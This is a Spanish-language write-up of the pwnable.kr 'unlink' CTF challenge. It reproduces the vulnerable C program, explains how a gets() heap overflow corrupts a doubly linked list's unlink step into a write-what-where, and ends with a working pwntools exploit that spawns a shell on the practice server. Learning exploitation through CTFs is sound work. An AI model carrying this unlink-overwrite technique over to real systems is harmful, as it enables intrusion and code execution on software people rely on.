pwnable.kr - unlink

Table of contents

  1. Analisis
    1. Vulnerabilidad
  2. Analisis con GDB
  3. Write-What-Where
  4. Explotacion
    1. Exploit

Explotaremos un Heap Overflow en una lista doblemente enlazada con una condicion Write-What-Where que nos permitira escribir la direccion de la funcion shell() en A->buf

Este es un desafio de los gordos, como ayuda, te dejo este gran writeup el cual me ayudo bastante a entender que pedo: picale aqui

Analisis

Se nos proporciona el codigo fuente del programa, donde primeramente se esta definiendo una estructura llamada OBJ:

typedef struct tagOBJ{
	struct tagOBJ* fd;
	struct tagOBJ* bk;
	char buf[8];
}OBJ;

Primero se definen dos punteros a la estructura tagOBJ llamados fd y bk y un arreglo de char (que seria el buffer) con una longitud de 8 bytes, los punteros fd y bk son usados normalmente para implementar una lista doblemente enlazada, y para eso esta esta funcion:

void unlink(OBJ* P){
	OBJ* BK;
	OBJ* FD;
	BK=P->bk;
	FD=P->fd;
	FD->bk=BK;
	BK->fd=FD;
}

Donde el puntero fd apunta al siguiente elemento, y bk apunta al elemento anterior.

Codigo completo:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
	struct tagOBJ* fd;
	struct tagOBJ* bk;
	char buf[8];
}OBJ;

void shell(){
	system("/bin/sh");
}

void unlink(OBJ* P){
	OBJ* BK;
	OBJ* FD;
	BK=P->bk;
	FD=P->fd;
	FD->bk=BK;
	BK->fd=FD;
}
int main(int argc, char* argv[]){
	malloc(1024);
	OBJ* A = (OBJ*)malloc(sizeof(OBJ));
	OBJ* B = (OBJ*)malloc(sizeof(OBJ));
	OBJ* C = (OBJ*)malloc(sizeof(OBJ));

	// double linked list: A <-> B <-> C
	A->fd = B;
	B->bk = A;
	B->fd = C;
	C->bk = B;

	printf("here is stack address leak: %p\n", &A);
	printf("here is heap address leak: %p\n", A);
	printf("now that you have leaks, get shell!\n");
	// heap overflow!
	gets(A->buf);

	// exploit this unlink!
	unlink(B);
	return 0;
}

Se esta haciendo basicamente esto:

  • Crea tres nodos (A, B y C)
  • Se crea una lista doblemente enlazada con A en primer lugar, B en segundo y C en tercero.
  • Muestra la dirección donde el puntero &A cuando mantiene en el stack como una variable local
  • Muestra la dirección en la que se guarda el nodo A en el heap.
  • Obtiene un imput el cual puede sobreescribir la memoria que comienza con A->buf en el heap
  • Llama a unlink con el nodo B

Vulnerabilidad

En la funcion main se esta haciendo un llamado a la funcion gets: gets(A->buf);, donde se esta ocasionando un heap overflow a partir de del nodo A (A->buf).

Debido a que ocurrio un heap overflow y el programa soporta una operacion de desvinculacion en el nodo B:

FD->bk=BK;
BK->fd=FD;

Debemos de explotar la funcion unlink, donde podemos sobreescribir el fd y el bk del nodo B, cuando el nodo B se desvincula, ocurre que:

  • El nodo apuntado por B->fd(antes C) cambiará a B->bk(antes A)
  • El nodo apuntado por B->bk(antes A) cambiará a B->fd(antes C)

Metodo de explotacion 1 (incorrecto)

Podriamos hacer que B->bk apunte a una direccion de ebp y despues sobrescribirlo con la dirección de la funcion shell en B->fd

Pero no se puede, si ponemos la direccion de la funcion shell() en B->fd o B->bk, no se ve a poder ejecutar por que cuando se ejecute BK->fd=FD, la funcion unlink tratara de escribir en la misma direccion.

Debido a esto, debemos de hacer que B->fd o B->bk siempre apunten a una direccion de memoria con permisos de escritura, donde debemos de tener en cuenta que B->bk se escribira 4 bytes despues de la direccion de B->fd

Analisis con GDB

En las ultimas linea de la funcion main, cuando se hace el llamado de unlink:

Tenemos algo interesante, El contenido en la dirección ebp-4 se copia en ecx y antes de que devuelva el valor ecx-4 se asigna al esp, entonces el programa regresará a la dirección que este en ecx-4.

Write-What-Where

Una vez ejecutando el programa y pasandole varios bytes hasta que ocurra el overflow, podemos ver que tenemos el control de eax y edx:

Y si continuamos la ejecucion del programa, lo que tiene el eip es la direccion 0x8048521 y que ejecuta la intruccion: DWORD PTR [eax+0x4], edx, pero como edx tiene una direccion invalida entonces va a petar. Y aqui es cuando la instruccion mov nos proporciona la condicion write-what-where, asi que con esta condicion podemos sobreescribir el ebp-0x4 de cuando de hace el llamado a la funcion unlink en la funcion main.

Y esto es bastante interesante por que si sobrescribimos el valor de ebp-4 con una dirección del heap, entonces el flujo de ejecución ira a lo que esté escrito 4 bytes antes de lo que apunta esa dirección, y como tenemos control total sobre el heap, podemos escribir la dirección de la funcion shell() en esa parte.

Explotacion

Entonces tenemos que:

  • Sobreecribiremos B->bk con la dirección ebp-4
  • Agregar 0x10 al stack para llegar al valor que queremos
  • Hacer que B->fd sea igual a una dirección del heap que podamos controlar, más 4 bytes, y podemos usar A->buf
  • Y por ultimo escribir la dirección de la función shell() en A->buf.

Exploit

from pwn import *

s = ssh(user='unlink', host='pwnable.kr', port=2222, password='guest')
p = s.process('/home/unlink/unlink')

p.recvuntil(': ')
stack = int(p.recv(10), 16)

p.recvuntil(': ')
heap = int(p.recv(10), 16)

p.recv()

shell_addr = 0x080484eb
buf = heap+8
ebp = stack+20

payload = p32(shell_addr) # A->buf
payload += b'A'*12
payload += p32(buf+4) # B->fd
payload += p32(ebp-4) # B->bk

p.sendline(payload)
p.interactive()

Eso ha sido todo, gracias por leer ❤